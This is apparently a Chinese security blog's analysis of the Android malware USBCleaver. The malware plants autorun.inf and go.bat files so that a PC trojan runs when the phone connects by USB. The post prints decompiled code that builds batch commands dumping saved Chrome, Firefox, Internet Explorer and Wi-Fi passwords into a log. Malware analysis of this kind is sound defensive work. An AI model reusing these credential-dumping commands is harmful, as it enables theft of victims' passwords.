【Android病毒分析报告】 - Usbcleaver

本文章由Jack_Jia编写，转载请注明出处。
文章链接：http://blog.csdn.net/jiazhijun/article/details/9179749

作者：Jack_Jia 邮箱：309zhijun@163.com

一、病毒样本基本信息

二、病毒代码分析

1、查看AndroidMainfest.xml文件

由清单文件可以看出，该恶意软件的入口点只有一个.USBCleaverActivity。

2、代码分析流程

代码树结构如下：

经过对程序唯一入口点的分析，恶意代码工作流程如下：

1、点击程序图标后运行USBCleaverActivity组件，该组件主要负责病毒运行环境的创建，如病毒所需目录结构。通过payloadHander完成autorun.inf文件写入（当以USB设备连接PC时，PC根据该文件配置运行go.bat），通过downloader完成对PC木马的下载。

2、downloader类负责PC木马压缩包的下载，下载后通过decompress完成PC木马压缩包解压

下载的PC木马压缩包信息如下：

3、payload通过payloadHandler产生go.bat，go.bat文件在autorun.info中配置运行。

  public String dumpChromePassword()
  {
    this.dumpChromePassword = "ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1\r\nECHO +----------------------------------+ >> %log% 2>&1\r\nECHO +         [Dump Chrome PW]         + >> %log% 2>&1\r\nECHO +----------------------------------+ >> %log% 2>&1\r\n.\\ChromePass.exe /stext %tmplog% >> %log% 2>&1\r\nCOPY %log%+%tmplog%* %log%  >> NUL\r\nDEL /f /q %tmplog% >NUL\r\n\r\n";
    return this.dumpChromePassword;
  }

  public String dumpFFPassword()
  {
    this.dumpFFPassword = "ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1\r\nEcho +----------------------------------+ >> %log% 2>&1\r\nEcho +         [Dump Firefox PW]        + >> %log% 2>&1\r\nEcho +----------------------------------+ >> %log% 2>&1\r\n%progdir%\\PasswordFox.exe  /stext %tmplog% >> %log% 2>&1\r\nCOPY %log%+%tmplog%* %log%  >> NUL\r\nDEL /f /q %tmplog% >NUL\r\n\r\n";
    return this.dumpFFPassword;
  }

  public String dumpIEPassword()
  {
    this.dumpIEPassword = "ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1\r\nECHO +----------------------------------+ >> %log% 2>&1\r\nECHO +           [Dump IE PW]           + >> %log% 2>&1\r\nECHO +----------------------------------+ >> %log% 2>&1\r\n.\\iepv.exe /stext %tmplog% >> %log% 2>&1\r\nCOPY %log%+%tmplog%* %log%  >> NUL\r\nDEL /f /q %tmplog% >NUL\r\n\r\n";
    return this.dumpIEPassword;
  }

  public String dumpSysInfo()
  {
    this.dumpSysInfo = "ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1\r\nECHO +----------------------------------+ >> %log% 2>&1\r\nECHO +          [System info]           + >> %log% 2>&1\r\nECHO +----------------------------------+ >> %log% 2>&1\r\nIPCONFIG /all >> %log% 2>&1\r\n\r\n";
    return this.dumpSysInfo;
  }

  public String dumpWifiPassword()
  {
    this.dumpWifiPassword = "ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1\r\nECHO +----------------------------------+ >> %log% 2>&1\r\nECHO +          [Dump WIFI PW]          + >> %log% 2>&1\r\nECHO +----------------------------------+ >> %log% 2>&1\r\n.\\WirelessKeyView.exe /stext %tmplog% >> %log% 2>&1\r\nCOPY %log%+%tmplog%* %log%  >> NUL\r\nDEL /f /q %tmplog% >NUL\r\n\r\n";
    return this.dumpWifiPassword;
  }

go.bat文件内容就是执行下载PC木马的执行。到此PC平台木马的运行环境搭建完毕。当手持设备以USB模式连接PC后，PC木马即可成功运行。

http://www.symantec.com/security_response/writeup.jsp?docid=2013-062010-1818-99

http://news.ccidnet.com/art/1032/20130625/5029495_1.html